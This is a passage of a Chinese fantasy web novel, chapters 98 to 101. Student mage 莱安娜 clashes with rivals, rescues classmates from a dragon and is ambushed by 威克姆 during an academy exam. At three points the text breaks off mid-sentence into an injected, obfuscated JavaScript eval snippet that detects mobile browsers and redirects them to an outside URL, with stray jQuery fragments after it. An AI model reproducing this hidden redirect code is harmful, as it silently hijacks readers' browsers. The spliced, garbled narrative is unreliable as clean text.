“这可是第一次包括魔导师的共同测试,总是要防止一些意外发生的。我是教廷任命的监视官,需要隐藏面容在学生中保障你们的安全呢。” 他很自豪地把手放在了自己胸前,笑得异常灿烂。 “监视官大人既然肩负职责,那我就不耽误您的时间了,告辞。” 她转身拉起萝丝就要离开,维克多一个跨步挡在了她俩面前。 “别这么见外,我可是很期待这次实战,毕竟会根据这次联赛的结果选择出参加克拉拉大赛的队伍。” “克拉拉大赛?那个魔法师联赛?” “对,希望我们有交手的机会。”他回答道。 “所以维克多你是觉得有可能在未来输给我,害怕在教皇面前丢脸,才提前来观测我的战斗数据?不用这么费劲,你可以直接问我的,我不介意你提前准备。” 莱安娜抬了一下眉毛,维克多肆意一笑。 “呵,我不会对注定的结果花费太多时间,你早晚都会是我的手下败将。” “话说得太满了吧,维克多?” “呵呵,实话实说罢了。” 维克多微笑着,继续开口。 “不过区区一个中阶法师,你竟敢拒绝我老师赛普露主教的邀请。我倒是很期待,你能翻出多大的水花?” “不必期待,我是火元素法师,自然是翻不出水花的。” 仿佛一拳打在了棉花上,维克多欲言又止。 “算了,回归正题,希望这次实战,你不要让人失望,我很期待能够在克拉拉大赛上遇见你,作为你的前辈,我到时候一定亲力亲为,让你知道何谓真正的魔法。不过,你也别害怕,我向来会给认输的淑女留足体面。” “听上去不错,不过维克多前辈……” 莱安娜朝他昂起下巴,眼里没有一点畏惧。 “如果输的人是你呢?该怎么办呢?” 维克多闻言眯起了眼睛,仍保持着微笑,但两人间的火药味愈发浓厚。萝丝见势不妙,只得硬着头皮打断二人。 “那个?监视官?如果我记得没错的话,您需要在考试前去找主考官报备的,您报备了吗?” 维克多扫了眼两人,转身离开。 98. 恃强凌弱 等维克多走远,萝丝才开始吐槽: “可惜了他这么好看的一张脸,竟然是记仇的小心眼儿,你在他成人礼上制造的乱子他一定还耿耿于怀,竟然在工作时都要分出精力来给你添堵。” 萝丝摇了摇头。 “可不是吗?不过他倒是提供了很有用的信息,如果维克多都说那人实力不错,那就是实力超群。” 莱安娜判断道。 “团队赛如果能拉上他一定有优势。” 她调整目光,找到了人堆边缘,正在校对魔导器的杰西卡。 “杰西卡,你修过魔导师的部分课程,我想知道这个阿纳托利真的很强吗?” 杰西卡端着下巴若有所思, “嗯,他确实很强,不过我不建议之后和他组队。” “为什么?” 杰西卡似乎有些为难,叹了口气后解释道:“莱安娜,我知道为了防止第二场被围攻,你想找个实力强点的队友,但是阿纳托利那些传闻你刚才也听到了,他之前和林克对决时下手真的特别狠,他当队友帮你挺过第二场了,第三场该怎么办?他是好的合作者,却也是残忍的对手。而且他是公爵的第一继承人,你和他对上是输是赢都没好处!别得罪他。” “谢谢你,杰西卡,我会注意的。” 话音刚落,就听见了开启考试的传音声。 “请各位魔法师、魔导师做好准备,考试即将开始。” 三人打起了精神,只要莱安娜能够在最后一场对决前找到一个可以和她对战的人,萝丝和杰西卡仍愿意和她一队,那第一场的数据仍然会共享,因此三人默契地在第一场保持合作。 杰西卡扛起枪型魔导器,走到了二人前方。 “莱安娜,进去后记得在我周围开半个钟头的控制魔法。” “十五分钟。” “喂!” “以你的能力,十五分钟足够清理掉半个区的低阶魔兽了,让我开半小时,你未免也太贪心了点。” “你可真抠。” “浪费的又不是你的魔力。” 莱安娜冲她微微一笑。 而此时结界从乳白变得透明——考试开始了。 内部结界变得清透,外部阻隔考场的结界变得更加坚固,金色的魔力在外部结界上开始流通,如同富有生命力的水流,亦如牢固的金色牢笼。 随着内部结界的变化,在场的所有人都感受到了扑面而来的腥气,那是一种独属于魔兽的气息。由于禁制被打开,海量的低阶魔兽和部分中阶魔兽朝着各个分区分散开来。 “我去清理第一波魔兽潮,记得开………” “别啰嗦了,杰西卡,我会兑现承诺的。 莱安娜在她身后狠狠推了她一把,毫无防备的杰西卡一个踉跄,离她不远的一只魔兽正朝她扑来。 “莱安娜!” 杰西卡咬牙切齿地叫着自己损友的名字,手持枪形魔导器准备结果了这只不长眼的魔兽,长枪还没来得及碰到,这魔兽就已经悬置到了空中,只得徒劳地舞动四肢。 “喏,刚刚已经给你开了,祝你顺利。” 莱安娜说罢转身走向了b区,a区杰西卡应该没什么问题,c区萝丝应该也能应付,点数测试比的就是效率。 整个考场的低阶魔兽数量有限的,有人多杀一只,别人就只能少杀一只。没有到及格线的人会直接失去第二局的资格,因此绞杀超额魔兽也意味着会让更多人没有机会进入第二场考试。 “如果找不到合适的队友,至少让第二场围攻我的人少一些。” 莱安娜苦笑道。 她的周围凝聚起一股看不见的屏障,许多低阶魔兽朝她扑来,要么滞空,要不就正好撞上结界被切成两半。有的中阶魔兽会更多招数,但在她强有力的控制魔法下也没有挣扎几下。 她快速地清场,周围部分人都很有眼力见地退出了b区,这个打法傻子都知道她是要抢光这个片区点数,与其和她抢不如去其他区赶紧多杀几只更有效。 考试很快过了块一半,正午的阳光刺得人眼睛都快睁不开了,再过半小时,上午的考试就会结束,考官会来清算低阶魔兽的点数。 莱安娜击杀了b区最后一只藏在角落里的小型魔兽。按照现在的数量,到第二局的时候至少会减少二分之一的对手。 正在她准备松一口气的时候却听见c区和b区交界处传来奇怪的声音。 “交界处魔力传导会受影响,魔力监控没有那么清晰,无法确认是本人击杀的魔兽不会被认定点数,谁会在那里抓魔兽?” 她很困惑,放轻了自己的脚步声,走入了bc区之间的折叠空间。 随着她靠近,声音逐渐变得清晰。 “求求你了,别打了……” 她听出了这是同学威克姆的声音,准备靠近看看是谁在利用监控死角殴打同学。 威克姆正鼻青脸肿地倒在地上,阿纳托利站在威克姆正前方,一边低头打量着他,一边转了转自己的拳头。 “女神在上,虽然威克姆背后中伤他,也不至于趁考试把别人拉到监控盲区来狠揍一顿啊,真下黑手啊。” 没等她在心里吐槽完,阿纳托利的拳头已经先下去了。 “我错了!别打……” 莱安娜有些犹豫。 威克姆平日对她还算友善,自己这时候理应伸出援手。但……… “不要得罪他。” 杰西卡的话仿佛还盘旋在她耳边。 “呜呜呜……” 威克姆在地上缩成了一团,抱着脑袋,而充满怒气的拳头已经举起,即将落在他身上。他的武器已经被缴了丢在一边,威克姆只能用双手护着自己来寻求一些心理安慰,毕竟他并不擅长近身战。 但这一拳没有落下来。 威克姆头上出现了一片荷叶大小的屏障,接住了阿纳托利的一拳。 打在屏障上的阿纳托利皱了皱眉,活动了下有些生疼的手。抬头看向了从灌木中走出的莱安娜。 阿纳托利轻微地皱了下眉,他认出了莱安娜。 “她刚才就在一旁听了不少关于我品行恶劣的谣言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335574|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……好了,现在看见自己打人,自己这个“恶人”的名声简直真得不能再真。” 阿纳托利不禁在心里哀叹。 “怎么会这么倒霉?” “莱安娜!” 威克姆仿佛看见了救命稻草,连滚带爬地到了莱安娜身边,竟然趁势躲到了她的背后。 莱安娜原本以为眼前这位施暴者会立刻出手警告自己。但不知道为什么,面对她的介入阿纳托利并没有想象中的不满,他眼神是平和的。 虽然对方的目光并没有敌意,但她也没有放松警惕,仍然盯着阿纳托利,只要他还想动手,自己绝不会袖手旁观。 她手上已经汇聚了魔力,蓄势待发。 两人之间僵持了好一会儿,阿纳托利先打破了沉默。 “我无意挑起和您的冲突,告辞。” 阿纳托利收起了自己的目光,留下一句不咸不淡的和平宣言转身离去。 “等一下!” “您还有什么事情吗?” 他转头看着莱安娜,语气仍然是平静的,和刚才把威克姆打得满地找牙时的神情判若两人。 莱安娜深吸一口气,平视着前方的阿纳托利。 “考场禁止私斗,不怕被人举报吗?” “您不会的。” 还是一样平和的语气,却是斩钉截铁的态度。 莱安娜闻言皱起眉来。 “我们素不相识,您为什么会这么觉得?” “您的实力很强,魔力阈值极高,因此在新规则下应该很难组队,所以刚才一直在清理超额魔兽,想要减少第二场考核的竞争者。第二场原定就在下午,有第一场的魔力消耗,下午哪怕被围攻你也能应对,但是如果你举报,监考委员会介入调查,将会推后第二场比赛的时间,对您而言,休不休息无所谓,但对手的魔力届时会恢复,举报对您来说并不是一个明智的选择。” 被说中的莱安娜沉默地盯着阿纳托利。 “小姐不用拿举报我的事来虚张声势,你叫住我不可能只是关心我是否畏惧举报吧?你想问什么?” “你为什么欺负威克姆?” 这话一问出来,莱安娜发现阿纳托利不加掩饰地流露出一种淡淡的无奈,他叹了口气。 “我没有欺负他……” “他撒谎莱安娜!你明明看到了他怎么打我的,我从来没有主动招惹过他,我以女神的名义起誓!” 阿纳托利没有辩驳,只是瞪了威克姆一眼,便转身准备离开,在走到结界外围时,莱安娜叫住了他。 “您不准备再解释下吗?” “难道我解释了,您就会相信我吗?” 莱安娜愣了一下,没有回答。 阿纳托利也不失望,脸色平静,只是眉毛下压的弧度变化了几分。 “给您一个忠告吧,热心的女士,你身边这位可不是什么好人,考试还没结束,离他远点吧。” 说罢,他狠狠剐了威克姆一眼,吓得躲在莱安娜身后的威克姆一哆嗦。 莱安娜看着他的背影逐渐远去。 99. 加试 “呜呜呜呜……” “好了,威克姆你别哭了。” “我害怕,莱安娜,你看见他怎么打我的了,他太残暴了。” 见他委屈得一把鼻涕一把泪,莱安娜蹲下身把帕子递给了威克姆: “但他已经走了,出了折叠区有监视装置,他不敢怎么样。” “呜呜呜呜呜呜……还好你在,不然我肯定死定了!林克被他揍得亲妈都不认识了……” 莱安娜伸出手正准备拍拍他的肩膀,原本坐在地上的威克姆突然弹起来,给了她一个拥抱。 “谢谢你,莱安娜!真的很感谢你把我从这个混蛋手里救出来!” “我没做什么。” 莱安娜回答道。 “坏家伙吗?”她心中重复道。忍不住回忆刚才和阿纳托利的对峙。 “虽然威克姆这样说,但对方刚才全程十分冷静克制,分明没有为难人的意思。” 莱安娜心中生疑。 “威克姆……他到底为什么打你?真的只是因为你说他坏话?” “难道不是吗?” 威克姆相当激动,语气变的义愤填膺。 “我那可不是说坏话!那是事实,他就是这样一个性格恶劣的人,实话告诉您吧,我的堂兄林克,就是因为不尊重他和他的狐朋狗友海姆,这才被他找了麻烦。但我堂兄有什么错!海姆是私生子但总是到我堂兄面前来挑衅,我堂兄还要给他什么好脸色看吗?宴会上说两句重话怎么了?这阿纳托利为了给自己的狐朋狗友出头就发起了对决,他是北地送来的人质,是北方少公爵,我的堂兄是为了南北大局才没有动真格的,否则他区区一个魔导师怎么可能打过我堂兄?还借着机会下死手,我堂兄的脸现在都不能见人……” 他滔滔不绝地陈述着阿纳托利的罪行。 “而且你也看到了,我和他没什么交集,就因为我说了事实,戳穿了他的真面目,他就对我下这种毒手……” 他语气越发委屈了。 “阿纳托利和威克姆之前确实没有什么过节,看来冲突的原因就是威克姆比赛前说的话?不过,我确实有听说过,林克的家族里有一位同辈的私生子非常荒唐,不学无术还目中无人。阿纳托利和这样的人是好友,还借自己的身份欺压别人,现在还要事后报复?或许杰西卡说得对,他不是一个好的合作对象。” 莱安娜觉得自己之前想找他组队的想法有些过于简单了。 “但是维克多肯定了他的实力,他如果铁了心要为难威克姆的话完全可以和我交手,但他刚才的表现并不像是一个残忍傲慢的人,甚至……挺有礼貌的,看来威克姆的话也不能全信。” 莱安娜心想道。 “我解释了,您就会相信吗……”对方的话盘旋在她的脑海里。 “算了,他是什么样的人怎么可能凭几句话就确定呢?不过目前保险起见,还是不和他合作了。我还是去看看有没有其它落单的魔导师或者魔法师愿意组队吧。”她在心里给自己打了打气。 威克姆却突然说: “比赛快结束了,我们离开这里吧莱安娜,待在这里我总觉得不安全……” “别担心了,他如果真不准备放过你刚才就和我动手了,这件事已经结束。不过你现在出去,击杀数量到及格线了吗?” 莱安娜问道。 “我的数量没问题的,被揍之前就凑够了……” 他笑着说。 “威克姆什么时候效率这么高的?” 莱安娜有些惊讶,但还是点点头。 “那我们准备离场结算吧。” 第一场结束后,只过了一个钟头就开始了第二场测试。 场上有十二头中阶魔兽,杀死这些魔兽,在比赛结束时持有魔晶的个人或者小组就会得到相应积分。 击杀中阶魔兽在团队配合下算不得难事,但第二场比赛将会持续一整个下午,也就是说真正的难题并不在于获得魔晶,而是在于如何守住。 由于莱安娜和萝丝、杰西卡并未组队,按照规则,双方不得插手涉及队友之外的争夺战,因此本场比赛大家只能分头行动了。 莱安娜很快锁定了一头中阶魔兽,她的控制魔法正冲向魔兽时,却有另一处攻击同时到来。 莱安娜的攻击落到了魔兽四肢,这种魔兽的背甲很厚,莱安娜原本是想先把这东西控制起来再取魔晶的。 而另一个人的攻击非常精准,魔兽的心脏被一击贯穿,尸体瘫倒在地,熟悉的面孔在巨大的影子落下时映入眼帘。 莱安娜看到阿纳托利持剑僵在了原地。 “他会不会以为我要抢他的猎物?杰西卡说最好不要得罪他,这可麻烦了……” 而阿纳托利看着尸体另一边的莱安娜心里一咯噔,下意识地抿起了唇。 “不是,真这么倒霉啊!” 他在内心里沉重地叹了口气。 “刚当着她面打了人,现在又阴差阳错抢了她的猎物,不管自己怎么解释应该都没用吧。” 阿纳托利很想挣扎着为自己辩解两句,但一句话也说不出来。感觉此时只会越描越黑,说什么都不对。 两人都陷入了诡异的沉默,一时间氛围有些尴尬。 最终阿纳托利还是鼓起勇气道。 “抱歉,我去另一处。” 他朝莱安娜微微鞠躬致歉,转身准备离开。 “诶?” 莱安娜原本在绞尽脑汁证明自己绝对没有抢人头的想法,阿纳托利却把整个成果都让了出来。 “请等一下!” 她赶紧叫住对方。 “这只魔兽是您击杀的,您应该持有魔晶。” 莱安娜相当直接地拒绝了他的转让。阿纳托利仔细观察起她的表情,她看上去并没有猎物被截和的不满。 “但是从魔力痕迹来看,是您的有效攻击先到。” 阿纳托利认真地注视着她。莱安娜见他没有取魔晶的打算,便帮他动手了。 她使用控制魔法利落地取出了魔晶,悬浮在空中,飞到了阿纳托利面前。 “虽说我的攻击先到达,但致命伤是您造成的,理应归您,不过您得有守得住的本事,要是一会儿我真的没有找到其他魔兽,我会按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348225|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照比赛规则掉头回来把它抢到手的。” 莱安娜微笑道。 “为什么要这样?它现在就可以是您的。”阿纳托利有些困惑地低头看着她。 “这可是比赛。” 她墨绿色的眼中透着一股锐气。 阿纳托利恍然大悟,莱安娜对待比赛格外认真,对她而言对手的主动退让不是敬意和示好,或许反而是一种轻视。 “是我冒昧了,我该全力以赴的。” 阿纳托利点了点头,将魔晶收入囊中。 “祝您之后比赛顺利,莱安娜小姐。” 阿纳托利转身准备离开,却被莱安娜叫住。 “等一下,阿纳托利阁下,比赛结束后,如果您有时间,愿意和我聊聊之前有关威克姆的事情吗?” 莱安娜鼓起勇气问道。 “没有那个必要……” 阿纳托利轻声说道。 “您就不试一试吗?既然之前问了我是否会相信您,为什么不试一试呢?您试着说服我,而我会试着相信您。” 阿纳托利有些惊讶。 “我并不认为关于您的那些传言是真的……至少不全是真的,您在这种节骨眼还愿意让渡自己利益,我不认为这样的人会做出那些残忍荒唐的事。” 她认真地看着阿纳托利。 “而且如果您真的是他们口中那样傲慢自私的贵族,就不会对我这个平民如此礼貌,我见过真正傲慢的家伙,您和他们不一样,所以关于您发起对决的部分传言,或许也不是真的,对吧?”她笑意盈盈,眼睛看上去格外明亮。 阿纳托利沉默了一会儿后有些生硬地开口。 “好。” 他认真地点了点头。莱安娜似乎还想说什么,表情有些为难。 “您还有什么话要和我说的吗?” 阿纳托利问道。 “不,没有了,祝您比赛顺利。”莱安娜笑盈盈地朝他告别。 “原本还想问他要不要组队的……但才说了不要魔晶就提组队,简直是变相地要和他共享战果一样……万一他觉得我是那种蹭功劳的人可怎么办?” 莱安娜心想,看着阿纳托利越来越远的背影叹了口气。 “算了,反正我一个人也能应付。” 她转身走向另一只魔兽所在的区域。 …… “嗷!” 随着考场中最后一只魔兽被击杀,比赛进入了最激烈的争夺阶段。 莱安娜躲在树冠处,手中攥着两枚中阶魔兽的魔晶。 比赛的场地结合了林地和草原,大家在获得魔晶后都在朝树林移动,毕竟草原没有什么隐蔽的地方,揣着魔晶单独行动的人很容易遭遇围攻。 两三个人莱安娜还能应付,一旦位置暴露,到时候围剿她的可不止一队,那就麻烦了。 就在她准备在此处躲到结束时,远处草地传来了很剧烈的魔力波动,仿佛凭空出现一般,随后就是阵阵呼喊。 “救命!救命!” “为什么这里还有高阶魔兽!” “监视官呢?怎么没人控场?” 100. 争抢 魔兽数量是固定的,莱安娜确信自己听见了传音魔法的讯号,场内魔兽都被清理掉了才对。 “那为何还会有高阶魔兽存在?” 她谨慎地探头出树冠,以观望情况。 然后就看见了盘踞在草原中央的庞大身影——高阶龙形魔兽。 这头巨型黑龙正朝着草原上部分学生发动攻击。 被盯上的是一位魔导师,那少年在挡下三击后魔导器就碎掉了。 “完蛋了。” 他抱住了自己的脑袋,但龙焰的攻击并没有来。 他睁开眼,一个红发的魔法师冲过来挡在了他面前,展开了土元素护盾。 “露比你疯了吗?冲过去逞什么能!初阶的元素魔法扛不住高阶魔法的攻击的。” 那位魔法师的同伴一边骂骂咧咧,一边鼓起勇气在另一边骚扰魔龙,以求帮露比分散一些火力。 “我还可以撑一会儿!快来人去找监视官!这是突发情况,高阶魔兽混入考场会死人的!后面那个家伙,你有没有备用魔导器!” 露比一边撑着即将碎裂的护盾一边吼。 “我没有啊!”那人捧着自己碎掉的魔导器欲哭无泪,但又不知道怎么才能帮上露比,急的抓耳挠腮。 好在紧要关头,远处的莱安娜已经以最快的速度冲了过来。 “眼下这种情况,还比赛什么啊,人都要死了。” 她尝试用浮空魔法飞过去,还不过她的浮空魔法还不是很熟练,落地的时候一个踉跄摔出去老远,几乎是滚到了露比身边,然后瞬间在露比的元素护盾上展开了中阶防御魔法。 “莱安娜学姐?”露比意外地看着她, “好别致的落地方式。” “这个不是重点吧。” 火力渐小时,莱安娜看准时机,用了浮空魔法拎着两人退了老远。 “啊啊啊啊啊啊!为什么会有龙啊?怎么闯进来的!”那个魔导师发出尖锐的爆鸣。 “太奇怪了,就和凭空出现的一样,而且监视官到底在干嘛!都发生这么严重的事故了还不清场。”露比抱怨道。 莱安娜没有说话,她此时已经察觉到了蹊跷之处。 “维克多就在学生中,面对突发的危险没道理不出手,而且场内的传音魔法也并未通知比赛中止,更何况虽说高阶魔兽实力强悍,也不可能突然闯入比赛结界。” 她梳理着思路,然后才开口: “不是事故。” “啊?”露比和另一位魔导师面面相觑。 “考试没有暂停,监视官没有介入,说明这是测试的一部分,我们自求多福吧。” 她话音刚落,跟在他们屁股后的魔龙就发起了一击。莱安娜抓着那个魔导师在空中一个急转弯,避开了火焰。 那小子惊叫的声音刺得莱安娜头疼。 “莱安娜学姐,我怎么感觉这头魔龙一直在追我们?为什么?草原上那么多人它不咬?”露比问道。 “不知道?会不会是你的发色太显眼了?” 莱安娜瞥了眼露比那像火把一样的头发,她现在没功夫去深究其中的因果关系。只能尽可能加速躲避,希望能将魔龙甩得远一些。 “浮空魔法耗费魔力,我带着你俩跑不快,一会儿到林子边缘就放你俩下去,我会把魔龙引开的,你们恢复了自己去找治疗法师。” 露比和另一个魔导师深知这已经是仁至义尽了,从善如流地猛点头。 莱安娜低空飞行的时候将两人送到地面,随后一个转身冲向魔龙。 “火锥!” 她凝聚魔力,焰火像长矛一样朝魔龙冲去,只是堪堪扎入了魔龙的皮甲,没能造成有效伤害,但看上去激怒的效果不错。 它长啸一声后朝莱安娜飞来,不再管地面上的露比二人。 莱安娜引着它朝着林子深处飞去。 看着莱安娜越来越小的背影,露比仿佛终于想起来了害怕,颤抖着一屁股坐到了地上。 “感觉差点没命了。” 她喃喃自语,身旁的魔导师看了过来: “刚才谢谢您和那位女士的救命之恩,我叫斯宾塞,您呢?” “我叫露比,另外一位学姐叫莱安娜。” 她几乎提不起气。 “您是累了对吧,屏障对魔力的损耗应该不小。” “不,我腿软,吓死我了,这太可怕了,我还需要缓一缓。” 露比心有余悸。 被救的魔导师朝露比伸出了手,试图拉她起来。 “莱安娜小姐一个人能应付那只魔兽吗?我们等魔力恢复一点后要不要去帮帮她?” “我们去只会拖累她,既帮不上忙,还得她分出多余的精力保护我们,要我说你要是还有力气,现在赶紧去找找她平日里的朋友或许更靠谱,不过她们现在应该在对面那个区域。” “那我们走过去岂不是来不及!”斯宾塞显然非常担心莱安娜会在战斗中遭遇不测。 “是啊,你走过去走回来的时间,说不定莱安娜学姐已经赢了。” “她击杀过高阶魔兽?”斯宾塞惊讶地盯着露比。 露比有些苦恼地抓了抓头发。 “其实我们没有和高阶魔兽战斗过,但如果是莱安娜学姐的话,应该没问题,她是同期魔法师里最强的。” 露比这话说得非常笃定,倒是让斯宾塞也松了口气。 “不过,我们还是赶紧去问问附近的其他同伴吧,多一个人怎么都要稳妥一些。”斯宾塞建议道。 “好啊。”露比费劲地撑起身。“但是不要找太菜的,比如我这样的,反倒会拖学姐的后腿吧。” “您刚才可是救了我的命,不要妄自菲薄。”斯宾塞反驳道。 “但我魔力阈值不太行。”她无奈地叹了口气。 斯宾塞完全无视了她的丧气话,仍一脸真挚地看向她。 “反正您现在在我心里就是最勇敢的魔法师,如果我们能平安结束这场考试,我会请你和学姐吃饭的。” 露比的眼睛冒出了光芒。 “最好的餐厅?” “那是必然。” 正在二人一边搀扶着对方一边往前走时,威克姆走了过来。 “露比,莱安娜刚才是一个人进去了吗?她一个人打那条龙?” “是的,不过我觉得学姐一定能赢的。” 露比已经快散架了,说话有气无力。 “那我去帮帮她,森林正好是我元素魔法发挥的主场,我应该能帮上忙。”他微笑道。 露比回忆了一下威克姆的实力,反正比自己强,而且植物魔法在森林确实有天然优势。 “你加油威克姆,我们已经没有余力了,不过我们可以帮你和莱安娜找其他人来支援! 威克姆的脸色不知为何有些不太好看,他尴尬地笑了笑。 “不必,两位先去治疗吧,请相信我和莱安娜的实力。” 他说罢钻进了林子。 威克姆进去不久后,一个灰头发的魔导师走了过来,他提着一把长剑,双瞳像是结了冰一样。露比感觉这人脾气应该不太好,脸看着挺不近人情。 “我刚才听到这边有很大的动静,怎么了斯宾塞?” “我差点没命了,”斯宾塞摊了摊手“刚才这边出现了高阶魔兽,全靠这位露比小姐和另一位莱安娜小姐施以援手,另一位小姐已经把高阶魔兽往森林深处引了。” 阿纳托利皱起眉来。 “她一个人?”他的音量提高了几分,露比竟然从这如坚冰一样的眼中看出几分担忧。 “这倒不是,有一个同伴进去帮她了。” 闻言阿纳托利放心了一些,有帮手的话,解决一只高阶魔兽对莱安娜而言或许并不困难,他转身准备去给这筋疲力尽的两人联系场外的工作人员。 “后面进去那个擅长什么魔法来着?露比?” 斯宾塞问道。 “他叫威克姆,木系元素初阶法师,擅长植物召唤魔法。” 阿纳托利停下了脚步,神色严肃。 “威克姆?。” 他话音刚落。 “轰隆!” 林子深处传来一声巨响,众人望去,林地中那几棵最高的树正在倒下,随后传来了魔兽撕心裂肺的吼叫。 “这么大动静?看来你也没什么去的必要了。”斯宾塞说道。 “不,我得去看看。” 他说罢走进了树林。 …… 在树林中的战斗已经结束。 莱安娜手中攥着魔晶,瘫坐在地上,她的手臂外侧落地时被擦伤,正在冒血,腿上也被树枝挂出了伤口。 黑龙的尸体倒在她面前,四肢被粗壮的树干压住,魔力凝结成的锋刃从它的眼睛处贯穿了头部,现在还在往外流血。 “可真难对付,我的中阶魔法精度不够,无法破开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367797|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的防御,还好这里树很多,可以限制它的行动,同时这家伙的眼皮也不算硬。” 她擦了擦汗,准备起身。 自己魔力已经消耗了大半,不过好在比赛已经快结束了,现在出去时间差不多。 她正准备离开,忽然听见灌木丛里传来了脚步声。 “谁?” 那人从树木的阴影中走了出来,带着和善的笑容。 “威克姆?” 虽然是熟人,但是莱安娜并没有放下戒心,毕竟他们现在是竞争关系。 “我想拜托莱安娜一件事。”威克姆微笑道。 “你说。” “莱安娜也知道我的处境吧,作为旁系,我和我的家人一直过得非常艰难,不过还好我有魔力呢,只要能够成为高阶法师,成为神官,我就可以摆脱那种仰人鼻息的生活了……”他的眼里闪着光。 “嗯?祝你顺利?” 莱安娜不明白威克姆在这里说这些的用意。 “今年的克拉拉大赛就是我的机会,只要能这次测试中获得前二十的名次,就可以代表学院参赛,每位参赛者在神官试炼中都有加分,我成为神官指日可待。” 他脸上浮现出了惯常的笑容,温和的、亲切的,叫人一看便觉得他没有一丁点坏心思。 “所以,莱安娜你能把那颗高阶魔兽的魔晶让给我吗?” 听到这里,莱安娜非常困惑。 威克姆:“你已经有两颗魔晶了对吧,这只魔龙是第三颗,哪怕没有魔龙的魔晶你也已经通过第二场测试了,第三轮测试你也一定能凑够足够的分数,但我不一样莱安娜,如果没有这颗魔晶,我的点数进不了前二十,你让给我吧,反正你也不需要,不如让给我吧。” 他的语气是那样可怜,仿佛只要莱安娜拒绝了他,他就再无生路了一般。 “不要。” 莱安娜斩钉截铁。 对方的表情一僵,磕磕巴巴地继续说: “为什么?这对你来说又不是必需的,但对我来说是救命稻草,举手之劳而已。” “举手之劳?”莱安娜提高了音量,“这高阶魔兽是我费了很多功夫才击杀的,你一句举手之劳是不是说得太轻松了。” “莱安娜……” “我的劳动成果凭什么让给你?” 莱安娜准备离开,但威克姆阴沉着脸挡在了她面前。 “给我让开。” “你和那些人不一样,你不是冷漠无情的人,你不是上一次比赛都救我了吗?你再帮我一次莱安娜。” 他伸手想要抓住莱安娜的手臂。 “少给我扣帽子。” 他的手刚伸过来,莱安娜就是狠狠一拍,直愣愣地打在了对方的手背上。威克姆吃痛将手缩了回去。 “威克姆,如果你的过去的生活不顺,那我深表遗憾,但那不是我造成的,也不该由我来弥补。我没有义务把拼命取得的成果让给你。另外,你在这节骨眼上出现,还知道我有几颗魔晶,想来跟踪我很久了,就等着这时候出来。” 莱安娜毫不留情地戳穿了对方的算盘。 “如果你真的像你所说的那样可怜,非这头魔龙的魔晶不可,在我缠斗的过程中为什么没有出手帮过我一次呢?因为你在等,如果我打不过魔龙受伤了,你会抢走我之前获得的魔晶。现在我赢了,你就来讨要这颗新的对吧?” 莱安娜已经随时准备好战斗,手中凝聚的魔力是无声的威慑。 “莱安娜,你非得这样较真吗?同窗一场,为什么一定要如此不留情分。” “我不留情分?多好笑啊威克姆!你袖手旁观了战斗的全程难道很讲情分?每个人都有自己的难处,但凡你在过程中出手帮了我,在击杀魔兽的过程中出点力呢?我或许会考虑帮你。但是现在,你给我让开!” 威克姆的脸已经彻底黑下去,但仍挡在路中间。 莱安娜皱起眉:“你难道还想和我动手?” “我也不想走到这步,是你逼我的,莱安娜。” 对方展开了魔力,树枝和藤条破土而出,直铺莱安娜而来。 火焰宛若游龙,围着莱安娜打了一个圈,将飞至身前的藤蔓烧了个干净。 “看来和魔龙的对战让你产生了可以赢我的错觉,我确实消耗不少,但揍你还是有余力的。” 盘旋的火焰重新在她手中凝聚,蓄势待发。 “最后一次警告,让开。” 101. 作弊者 莱安娜蓄势待发,但这次威克姆却抬起头笑了起来。 藤条再次朝莱安娜卷了过来,她脚尖一点,浮空魔法躲避了这一击,随后火焰在威克姆的斜上方开始凝聚。 “星火。” 火焰朝着威克姆飞去,但他没有躲。 他仰头平静地盯着离地几米的莱安娜。 “怎么回事?” 莱山安娜脖子背后一阵刺痛,窒息感突然袭来,随后浮空魔法开始变得极不稳定,像突然失重了一般起起落落,火星自然也不受控制地落到了四周,没有擦到威克姆半分。 重新凝聚魔力,她发现能调动的魔力变少了很多。威克姆不给她思考的时间,攻击立刻袭来。 莱安娜无法凝结护盾,只得侧身躲避,但还是被枝条划出一道口子。 她操纵剩余不多的火焰进行应对,近身的枝条头部都被烧焦卷曲。 “我没想到你被压制了魔力,都还有反抗的余力,倒是小看你了。” 更多的藤蔓席卷而来。 莱安娜集中魔力烧穿了一棵树的树干,朝威克姆砸过去,他不得不赶紧躲避,藤蔓的攻击有所放松,莱安娜趁机跳出了藤蔓的包围。 在她跃至半空时,脚上却被后来的藤蔓拉住了。 她用不多的火焰利落地斩掉了藤蔓,但因为这一拉,她被绊了一下,重重地砸到了前方。 “嘶。” 她想撑起身,却发现手已经被地上窜出的藤蔓缠上。 “别挣扎了,莱安娜,交出魔晶。” 